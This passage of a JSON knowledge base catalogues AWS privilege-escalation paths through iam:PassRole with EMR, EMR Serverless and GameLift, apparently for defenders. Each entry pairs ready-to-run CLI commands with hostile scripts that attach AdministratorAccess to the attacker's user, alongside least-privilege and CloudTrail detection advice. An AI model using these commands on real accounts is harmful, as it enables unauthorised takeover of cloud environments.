          "resourceConstraints": "Useful for verifying step execution status"
        },
        {
          "permission": "elasticmapreduce:ListClusters",
          "resourceConstraints": "Helpful for discovering existing clusters"
        },
        {
          "permission": "elasticmapreduce:ListSteps",
          "resourceConstraints": "Useful for monitoring step execution"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and `elasticmapreduce:RunJobFlow` can escalate privileges by creating an EMR cluster and passing an admin IAM role as the EC2 instance profile (`JobFlowRole`). An EMR step using `command-runner.jar` executes on the cluster's EC2 master node, which has access to the admin instance profile credentials via the EC2 Instance Metadata Service (IMDS). The step calls `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user, then the cluster auto-terminates.",
    "prerequisites": {
      "admin": [
        "A role must exist that can be used as an EC2 instance profile and trusts ec2.amazonaws.com",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "A role must exist that can serve as the EMR service role (trusts elasticmapreduce.amazonaws.com)",
        "The AWS EMR service-linked role (AWSServiceRoleForEMRCleanup) must exist in the account"
      ],
      "lateral": [
        "A role must exist that can be used as an EC2 instance profile and has elevated permissions",
        "A role must exist that can serve as the EMR service role"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws emr create-cluster \\\n  --name \"privesc-cluster\" \\\n  --release-label emr-7.0.0 \\\n  --applications Name=Hadoop \\\n  --instance-type m5.xlarge \\\n  --instance-count 1 \\\n  --service-role EMR_SERVICE_ROLE \\\n  --ec2-attributes \"InstanceProfile=ADMIN_INSTANCE_PROFILE\" \\\n  --steps '[{\n    \"Name\": \"Escalate\",\n    \"ActionOnFailure\": \"TERMINATE_CLUSTER\",\n    \"Type\": \"CUSTOM_JAR\",\n    \"Jar\": \"command-runner.jar\",\n    \"Args\": [\n      \"bash\", \"-c\",\n      \"aws iam attach-user-policy --user-name STARTING_USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"\n    ]\n  }]' \\\n  --auto-terminate\n",
          "description": "Create an EMR cluster passing the admin role as the EC2 instance profile (JobFlowRole). The cluster step uses command-runner.jar to execute the AWS CLI with the instance profile's admin credentials to attach AdministratorAccess to the starting user. The cluster auto-terminates after the step completes."
        },
        {
          "step": 2,
          "command": "aws emr describe-cluster \\\n  --cluster-id CLUSTER_ID \\\n  --query 'Cluster.Status.State' \\\n  --output text\n",
          "description": "Poll cluster state. EMR clusters take 5-15 minutes to provision, execute the step, and auto-terminate. Watch for TERMINATED (success) or TERMINATED_WITH_ERRORS (failure)."
        },
        {
          "step": 3,
          "command": "aws emr describe-cluster \\\n  --cluster-id CLUSTER_ID \\\n  --query 'Cluster.Status.StateChangeReason' \\\n  --output json\n",
          "description": "If the cluster fails, check StateChangeReason for diagnostic information about what prevented the step from executing."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative EMR instance profiles** - Very rarely does an EMR cluster need administrative access. Use the principle of least privilege and scope instance profiles to only the data buckets and services the cluster legitimately requires.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificEMRRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"elasticmapreduce.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual EMR cluster creation followed by IAM policy attachment events\n- Monitor CloudTrail for EMR cluster creation by principals who do not usually create clusters\n- Monitor CloudTrail for roles being passed to EMR that haven't been used before\n- Monitor and alert on EMR cluster creation with privileged instance profiles\n- Regularly audit EMR instance profiles for excessive IAM permissions\n- Regularly audit all IAM roles that trust ec2.amazonaws.com and are used as EMR instance profiles\n",
    "limitations": "This path provides administrative access only if the passed instance profile role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available to pass, the attacker gains access limited to those role permissions. Even limited access may enable multi-hop attacks. EMR clusters take 5-15 minutes to provision, making this a slower escalation path compared to serverless alternatives.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by Amazon EMR - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonemr.html"
      },
      {
        "title": "Configure IAM service roles for Amazon EMR - Amazon EMR",
        "url": "https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-iam-roles.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/emr-001-iam-passrole+elasticmapreduce-runjobflow",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L376"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole and elasticmapreduce:RunJobFlow permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "emr_cluster",
          "label": "New EMR Cluster",
          "type": "resource",
          "description": "New EMR cluster created with a privileged IAM instance profile passed as the JobFlowRole. The cluster also requires an EMR service role (ServiceRole) and the AWSServiceRoleForEMRCleanup service-linked role. Once provisioned, the EC2 master node runs with the instance profile's credentials accessible via IMDS, and any EMR step submitted at creation time executes on that node using those credentials.\n"
        },
        {
          "id": "ec2_instance",
          "label": "EC2 Master Node",
          "type": "resource",
          "description": "The EMR cluster's EC2 master node, which runs with the privileged instance profile attached. Credentials for the instance profile role are available via the EC2 Instance Metadata Service at http://169.254.169.254/latest/meta-data/iam/security-credentials/. EMR step processes launched on this node automatically inherit these credentials through the AWS CLI's default credential chain.\n"
        },
        {
          "id": "admin_role",
          "label": "Admin Instance Profile Role",
          "type": "principal",
          "description": "IAM role passed to the EMR cluster as the EC2 instance profile (JobFlowRole). The role must trust ec2.amazonaws.com and have a corresponding instance profile resource. The master node assumes this role at boot time, making its temporary credentials available to all processes running on the node, including EMR step commands.\n"
        },
        {
          "id": "emr_step",
          "label": "EMR Step (command-runner.jar)",
          "type": "payload",
          "color": "#99ccff",
          "description": "Malicious EMR step submitted at cluster creation time using command-runner.jar as the JAR. The step executes an AWS CLI command on the master node using the instance profile's credentials, which are automatically present in the execution environment.\n\nExample step configuration passed to `--steps`:\n```json\n{\n  \"Name\": \"Escalate\",\n  \"ActionOnFailure\": \"TERMINATE_CLUSTER\",\n  \"Type\": \"CUSTOM_JAR\",\n  \"Jar\": \"command-runner.jar\",\n  \"Args\": [\n    \"bash\", \"-c\",\n    \"aws iam attach-user-policy --user-name STARTING_USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"\n  ]\n}\n```\n\nThe `--auto-terminate` cluster flag causes the cluster to shut down after the step completes.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The instance profile role has AdministratorAccess or equivalent permissions. The EMR step successfully calls iam:AttachUserPolicy, elevating the starting principal to full administrative access. The cluster auto-terminates after the step completes.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The instance profile role has some elevated permissions but not full admin. The EMR step can leverage these permissions to read sensitive data from S3, access Secrets Manager, modify infrastructure within the role's scope, or stage further privilege escalation attempts.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The instance profile role only has minimal permissions. The EMR step cannot perform meaningful privilege escalation. This outcome may also occur if the required EMR service-linked role (AWSServiceRoleForEMRCleanup) does not exist in the account, which prevents cluster provisioning entirely.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "emr_cluster",
          "label": "iam:PassRole + elasticmapreduce:RunJobFlow",
          "description": "Create a new EMR cluster, passing the admin role as the EC2 instance profile (JobFlowRole) and an EMR service role (ServiceRole). The malicious step is included at creation time and `--auto-terminate` ensures cleanup after execution.\n\nCommand:\n```bash\naws emr create-cluster \\\n  --name \"privesc-cluster\" \\\n  --release-label emr-7.0.0 \\\n  --applications Name=Hadoop \\\n  --instance-type m5.xlarge \\\n  --instance-count 1 \\\n  --service-role EMR_SERVICE_ROLE \\\n  --ec2-attributes \"InstanceProfile=ADMIN_INSTANCE_PROFILE\" \\\n  --steps '[{\n    \"Name\": \"Escalate\",\n    \"ActionOnFailure\": \"TERMINATE_CLUSTER\",\n    \"Type\": \"CUSTOM_JAR\",\n    \"Jar\": \"command-runner.jar\",\n    \"Args\": [\"bash\", \"-c\", \"aws iam attach-user-policy --user-name STARTING_USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"]\n  }]' \\\n  --auto-terminate\n```\n"
        },
        {
          "from": "emr_cluster",
          "to": "ec2_instance",
          "label": "Cluster provisions EC2 master node with instance profile",
          "description": "The EMR service provisions EC2 instances for the cluster and attaches the specified instance profile to the master node. This process takes 5-15 minutes. Once the node is running, the instance profile role's temporary credentials are available via IMDS.\n"
        },
        {
          "from": "ec2_instance",
          "to": "admin_role",
          "label": "Node accesses role credentials via IMDS",
          "description": "The EC2 master node accesses the instance profile role's temporary credentials via the Instance Metadata Service. The AWS CLI and SDKs running on the node automatically discover and use these credentials. EMR step processes inherit this credential context without any additional configuration.\n"
        },
        {
          "from": "admin_role",
          "to": "emr_step",
          "label": "Step executes with role credentials",
          "description": "The EMR step using command-runner.jar executes on the master node. Because the AWS CLI is pre-installed on EMR nodes and the instance profile credentials are available in the environment, the step can immediately invoke AWS API calls with the instance profile's permissions.\n"
        },
        {
          "from": "emr_step",
          "to": "admin",
          "label": "If role has admin or IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the instance profile role has AdministratorAccess or IAM write permissions (iam:AttachUserPolicy), the step successfully attaches AdministratorAccess to the starting principal. The cluster then auto-terminates, completing the privilege escalation.\n"
        },
        {
          "from": "emr_step",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the instance profile role has elevated but non-admin permissions, the step can still access sensitive data, perform data exfiltration, or modify infrastructure resources within the role's scope.\n"
        },
        {
          "from": "emr_step",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the instance profile role only has minimal permissions, the step cannot perform meaningful privilege escalation despite executing successfully on the master node.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/emr/emr-001.yaml"
  },
  {
    "id": "emrserverless-001",
    "name": "iam:PassRole + emr-serverless:CreateApplication + emr-serverless:StartJobRun",
    "category": "new-passrole",
    "services": [
      "iam",
      "emr"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM execution role to the EMR Serverless service"
        },
        {
          "permission": "emr-serverless:CreateApplication",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "emr-serverless:StartJobRun",
          "resourceConstraints": "No resource constraints required"
        }
      ],
      "additional": [
        {
          "permission": "emr-serverless:GetApplication",
          "resourceConstraints": "Useful for polling application state before starting job runs"
        },
        {
          "permission": "emr-serverless:GetJobRun",
          "resourceConstraints": "Useful for monitoring job run status and confirming execution"
        },
        {
          "permission": "emr-serverless:ListApplications",
          "resourceConstraints": "Helpful for discovering existing applications"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `emr-serverless:CreateApplication`, and `emr-serverless:StartJobRun` can escalate privileges by creating an EMR Serverless Spark application and starting a job run that passes an admin IAM execution role. The Spark job code runs using the execution role's credentials and calls `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user. EMR Serverless handles all infrastructure provisioning, making this a fully serverless escalation path.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts emr-serverless.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "The AWS EMR Serverless service-linked role (AWSServiceRoleForAmazonEMRServerless) must exist in the account",
        "An S3 bucket must be accessible for job script storage and EMR Serverless logs"
      ],
      "lateral": [
        "A role must exist that trusts emr-serverless.amazonaws.com and has elevated permissions",
        "An S3 bucket must be accessible for job script storage"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "cat > /tmp/exploit.py << 'EOF'\nimport boto3\n\niam = boto3.client(\"iam\", region_name=\"REGION\")\niam.attach_user_policy(\n    UserName=\"STARTING_USER\",\n    PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n)\nprint(\"AdministratorAccess attached successfully\")\nEOF\n\naws s3 cp /tmp/exploit.py s3://SCRIPT_BUCKET/scripts/exploit.py\n",
          "description": "Create a Spark exploit script that uses the execution role's credentials (injected automatically by EMR Serverless) to attach AdministratorAccess to the starting user. Upload it to S3."
        },
        {
          "step": 2,
          "command": "aws emr-serverless create-application \\\n  --name privesc-spark-app \\\n  --release-label emr-7.7.0 \\\n  --type SPARK\n",
          "description": "Create an EMR Serverless Spark application. The application type and release label determine the execution environment; no admin role is needed at this step."
        },
        {
          "step": 3,
          "command": "aws emr-serverless get-application \\\n  --application-id APPLICATION_ID \\\n  --query 'application.state' \\\n  --output text\n",
          "description": "Poll until the application reaches CREATED state before starting a job run."
        },
        {
          "step": 4,
          "command": "aws emr-serverless start-job-run \\\n  --application-id APPLICATION_ID \\\n  --execution-role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --job-driver '{\n    \"sparkSubmit\": {\n      \"entryPoint\": \"s3://SCRIPT_BUCKET/scripts/exploit.py\",\n      \"sparkSubmitParameters\": \"--conf spark.executor.instances=1\"\n    }\n  }' \\\n  --configuration-overrides '{\n    \"monitoringConfiguration\": {\n      \"s3MonitoringConfiguration\": {\n        \"logUri\": \"s3://SCRIPT_BUCKET/logs/\"\n      }\n    }\n  }'\n",
          "description": "Start a job run, passing the admin role as the execution role via iam:PassRole. The Spark job runs with the admin role's credentials and executes the exploit script to attach AdministratorAccess to the starting user."
        },
        {
          "step": 5,
          "command": "aws emr-serverless get-job-run \\\n  --application-id APPLICATION_ID \\\n  --job-run-id JOB_RUN_ID \\\n  --query 'jobRun.state' \\\n  --output text\n",
          "description": "Poll job run status until it reaches SUCCESS, confirming the privilege escalation has completed."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative EMR Serverless execution roles** - Very rarely does a Spark job need administrative IAM access. Use the principle of least privilege and scope execution roles to only the data and services the job legitimately requires.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificEMRServerlessRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"emr-serverless.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual EMR Serverless application creation followed by job runs with privileged roles\n- Monitor CloudTrail for EMR Serverless job runs that reference roles with administrative permissions\n- Monitor CloudTrail for roles being passed to EMR Serverless that haven't been used before\n- Alert on IAM policy attachment events originating from EMR Serverless execution roles\n- Regularly audit all IAM roles that trust emr-serverless.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed execution role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available to pass, the attacker gains access limited to those role permissions. Even limited access may enable multi-hop attacks.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by Amazon EMR Serverless - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonemrserverless.html"
      },
      {
        "title": "IAM roles for EMR Serverless - Amazon EMR Serverless",
        "url": "https://docs.aws.amazon.com/emr/latest/EMR-Serverless-UserGuide/security-iam-role.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/emr-serverless-001-iam-passrole+emr-serverless-createapplication+emr-serverless-startjobrun",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L381"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole, emr-serverless:CreateApplication, and emr-serverless:StartJobRun permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "emr_app",
          "label": "New EMR Serverless Application",
          "type": "resource",
          "description": "New EMR Serverless Spark application created as the execution environment. The application type (SPARK) and release label determine the runtime. No privileged role is attached at application creation time - the execution role is specified per job run, allowing each job run to use a different role. AWS manages all underlying infrastructure; no EC2 instances are visible to the attacker.\n"
        },
        {
          "id": "exec_role",
          "label": "Job Execution Role",
          "type": "principal",
          "description": "IAM role passed to the job run as the executionRoleArn via iam:PassRole. The role must trust emr-serverless.amazonaws.com to assume it. When the job run starts, the Spark workers run with this role's credentials automatically injected by the EMR Serverless service. The exploit script running inside the job accesses IAM APIs using these credentials.\n"
        },
        {
          "id": "spark_job",
          "label": "Spark Job Script",
          "type": "payload",
          "color": "#99ccff",
          "description": "Malicious Python script uploaded to S3 and referenced as the Spark job entry point. When the job run executes, the script runs with the execution role's credentials automatically available via the boto3 default credential chain (injected by EMR Serverless).\n\nExample exploit script:\n```python\nimport boto3\n\niam = boto3.client(\"iam\", region_name=\"REGION\")\niam.attach_user_policy(\n    UserName=\"STARTING_USER\",\n    PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n)\nprint(\"AdministratorAccess attached successfully\")\n```\n\nThe script is specified via `--job-driver sparkSubmit.entryPoint` in the StartJobRun call.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The execution role has AdministratorAccess or equivalent permissions. The Spark job script successfully calls iam:AttachUserPolicy, elevating the starting principal to full administrative access across the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The execution role has some elevated permissions but not full admin. The Spark script can leverage these permissions for data exfiltration (S3, DynamoDB, Secrets Manager), modification of security configurations, or staging further privilege escalation attempts.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The execution role only has minimal permissions. The Spark job executes successfully but cannot perform meaningful privilege escalation. The attack provides limited value despite the fully serverless execution.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "emr_app",
          "label": "emr-serverless:CreateApplication",
          "description": "Create an EMR Serverless Spark application. No privileged role is required at this step - the execution role is specified per job run. The application must reach CREATED state before job runs can be submitted.\n\nCommand:\n```bash\naws emr-serverless create-application \\\n  --name privesc-spark-app \\\n  --release-label emr-7.7.0 \\\n  --type SPARK\n```\n"
        },
        {
          "from": "emr_app",
          "to": "exec_role",
          "label": "iam:PassRole + emr-serverless:StartJobRun",
          "description": "Start a job run on the application, passing the admin role as the executionRoleArn. The Spark job driver is set to the exploit script in S3. The execution role's credentials are automatically injected into the Spark worker environment by EMR Serverless.\n\nCommand:\n```bash\naws emr-serverless start-job-run \\\n  --application-id APPLICATION_ID \\\n  --execution-role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --job-driver '{\n    \"sparkSubmit\": {\n      \"entryPoint\": \"s3://SCRIPT_BUCKET/scripts/exploit.py\",\n      \"sparkSubmitParameters\": \"--conf spark.executor.instances=1\"\n    }\n  }' \\\n  --configuration-overrides '{\n    \"monitoringConfiguration\": {\n      \"s3MonitoringConfiguration\": {\"logUri\": \"s3://SCRIPT_BUCKET/logs/\"}\n    }\n  }'\n```\n"
        },
        {
          "from": "exec_role",
          "to": "spark_job",
          "label": "Job runs with role credentials",
          "description": "The EMR Serverless service assumes the execution role and injects its temporary credentials into the Spark worker environment. The malicious Python entry point script runs within the worker, with boto3 automatically discovering and using the injected credentials to make IAM API calls.\n"
        },
        {
          "from": "spark_job",
          "to": "admin",
          "label": "If role has admin or IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or IAM write permissions (iam:AttachUserPolicy), the Spark script successfully attaches AdministratorAccess to the starting principal. The privilege escalation is confirmed once the job run reaches SUCCESS state.\n"
        },
        {
          "from": "spark_job",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the execution role has elevated but non-admin permissions, the Spark script can still read sensitive data from S3, access secrets, or interact with other AWS services within the role's permission boundary.\n"
        },
        {
          "from": "spark_job",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the Spark script cannot perform meaningful privilege escalation despite the fully serverless execution completing successfully.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/emrserverless/emrserverless-001.yaml"
  },
  {
    "id": "gamelift-001",
    "name": "iam:PassRole + gamelift:CreateBuild + gamelift:CreateFleet",
    "category": "new-passrole",
    "services": [
      "iam",
      "gamelift"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM instance role to the GameLift service"
        },
        {
          "permission": "gamelift:CreateBuild",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "gamelift:CreateFleet",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "gamelift:RequestUploadCredentials",
          "resourceConstraints": "Required to get temporary S3 credentials for uploading the build binary to GameLift's managed S3 location"
        }
      ],
      "additional": [
        {
          "permission": "gamelift:DescribeBuild",
          "resourceConstraints": "Useful for polling build status until it reaches READY"
        },
        {
          "permission": "gamelift:DescribeFleetAttributes",
          "resourceConstraints": "Useful for monitoring fleet provisioning status"
        },
        {
          "permission": "gamelift:ListFleets",
          "resourceConstraints": "Helpful for discovering existing fleets"
        },
        {
          "permission": "gamelift:DescribeInstances",
          "resourceConstraints": "Useful for confirming instance provisioning"
        },
        {
          "permission": "gamelift:GetComputeAccess",
          "resourceConstraints": "Useful for accessing fleet instances to verify execution"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `gamelift:CreateBuild`, `gamelift:CreateFleet`, and `gamelift:RequestUploadCredentials` can escalate privileges by uploading a malicious game server binary as a GameLift build, then creating a fleet with an admin IAM instance role. The game server process runs on the fleet's EC2 instances with the `SHARED_CREDENTIAL_FILE` instance role credentials provider, giving it access to the admin role credentials. The server script calls `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user.",
    "prerequisites": {
      "admin": [
        "A role must exist that can be used as an EC2 instance role (trusts ec2.amazonaws.com)",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that can be used as an EC2 instance role and has elevated permissions"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "mkdir -p /tmp/gameserver-build\ncat > /tmp/gameserver-build/gameserver.sh << 'EOF'\n#!/bin/bash\n# Wait for SHARED_CREDENTIAL_FILE credentials to be available\nsleep 10\n# Use the instance role credentials to escalate privileges\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\necho \"Privilege escalation complete\"\n# Keep running so the fleet doesn't immediately terminate\nwhile true; do sleep 60; done\nEOF\nchmod +x /tmp/gameserver-build/gameserver.sh\n",
          "description": "Create a malicious game server script that uses the fleet instance role's credentials (provided via SHARED_CREDENTIAL_FILE) to call iam:AttachUserPolicy and escalate privileges."
        },
        {
          "step": 2,
          "command": "BUILD_OUTPUT=$(aws gamelift create-build \\\n  --name privesc-build \\\n  --operating-system AMAZON_LINUX_2023 \\\n  --server-sdk-version 5.2.0 \\\n  --build-version 1.0.0)\n\nBUILD_ID=$(echo $BUILD_OUTPUT | jq -r '.Build.BuildId')\n\nUPLOAD_CREDS=$(aws gamelift request-upload-credentials \\\n  --build-id $BUILD_ID)\n\n# Upload the build to GameLift's S3 location using the temporary upload credentials\nS3_BUCKET=$(echo $UPLOAD_CREDS | jq -r '.StorageLocation.Bucket')\nS3_KEY=$(echo $UPLOAD_CREDS | jq -r '.StorageLocation.Key')\nACCESS_KEY=$(echo $UPLOAD_CREDS | jq -r '.UploadCredentials.AccessKeyId')\nSECRET_KEY=$(echo $UPLOAD_CREDS | jq -r '.UploadCredentials.SecretAccessKey')\nSESSION_TOKEN=$(echo $UPLOAD_CREDS | jq -r '.UploadCredentials.SessionToken')\n\nAWS_ACCESS_KEY_ID=$ACCESS_KEY \\\nAWS_SECRET_ACCESS_KEY=$SECRET_KEY \\\nAWS_SESSION_TOKEN=$SESSION_TOKEN \\\naws s3 cp /tmp/gameserver-build/ s3://$S3_BUCKET/$S3_KEY \\\n  --recursive\n",
          "description": "Create a GameLift build record, get temporary upload credentials via gamelift:RequestUploadCredentials, and upload the malicious game server binary to GameLift's managed S3 bucket."
        },
        {
          "step": 3,
          "command": "aws gamelift describe-build \\\n  --build-id BUILD_ID \\\n  --query 'Build.Status' \\\n  --output text\n",
          "description": "Poll build status until it reaches READY, indicating the binary has been validated and is ready for fleet deployment."
        },
        {
          "step": 4,
          "command": "aws gamelift create-fleet \\\n  --name privesc-fleet \\\n  --build-id BUILD_ID \\\n  --compute-type EC2 \\\n  --ec2-instance-type c5.large \\\n  --fleet-type ON_DEMAND \\\n  --instance-role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --instance-role-credentials-provider SHARED_CREDENTIAL_FILE \\\n  --runtime-configuration '{\n    \"ServerProcesses\": [{\n      \"LaunchPath\": \"/local/game/gameserver.sh\",\n      \"ConcurrentExecutions\": 1\n    }]\n  }'\n",
          "description": "Create a GameLift fleet with the admin IAM instance role, using SHARED_CREDENTIAL_FILE to make the role credentials available to the game server process. The server starts automatically and escalates privileges."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative GameLift fleet instance roles** - Game server fleets rarely need administrative IAM access. Scope instance roles to only the DynamoDB tables, S3 buckets, and services required for the game server.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificGameLiftRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"gamelift.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Restrict `gamelift:RequestUploadCredentials`** - This permission is required to upload builds but also enables the full attack chain. Restrict it alongside CreateBuild and CreateFleet.\n- Monitor CloudTrail for unusual GameLift fleet creation followed by IAM policy attachment events\n- Monitor CloudTrail for fleet creation by principals who do not usually manage GameLift fleets\n- Monitor CloudTrail for roles being passed to GameLift that haven't been used before\n- Alert on IAM policy attachment events originating from GameLift fleet instances\n- Regularly audit GameLift fleet instance roles for excessive IAM permissions\n",
    "limitations": "This path provides administrative access only if the passed instance role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). GameLift fleet provisioning typically takes 5-15 minutes, making this a slower escalation path.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by Amazon GameLift - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazongamelift.html"
      },
      {
        "title": "Set up an IAM service role for Amazon GameLift Servers",
        "url": "https://docs.aws.amazon.com/gamelift/latest/developerguide/setting-up-role.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
